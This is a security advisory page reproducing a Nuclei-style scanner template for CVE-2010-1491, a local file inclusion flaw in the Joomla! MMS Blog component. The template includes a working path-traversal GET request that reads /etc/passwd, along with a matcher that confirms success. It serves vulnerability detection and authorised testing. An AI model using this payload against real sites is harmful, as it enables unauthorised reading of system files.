CVE-2010-1491: Joomla! Component MMS Blog 2.3.0 - Local File Inclusion

2025-08-01 Joomla! Component MMS Blog PoC Public

Description

A directory traversal vulnerability in the MMS Blog (com_mmsblog) component 2.3.0 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

PoC

id: CVE-2010-1491

info:
  name: Joomla! Component MMS Blog 2.3.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the MMS Blog (com_mmsblog) component 2.3.0 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the Joomla! CMS.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12318
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1491
    - http://packetstormsecurity.org/1004-exploits/joomlammsblog-lfi.txt
    - http://www.exploit-db.com/exploits/12318
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1491
    cwe-id: CWE-22
    epss-score: 0.13598
    epss-percentile: 0.96267
    cpe: cpe:2.3:a:mms.pipp:com_mmsblog:2.3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mms.pipp
    product: com_mmsblog
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,mms.pipp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_mmsblog&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009e9b494b31ead5743acc37c5af466a7088bcc68e483846444fa3c0d10da5bf5e022100e6233dce4c9ccb00a333689fd2d0ebaecd95316373a7c9194aca6f37a698b254:922c64590222798bb761d5b6d8e72950

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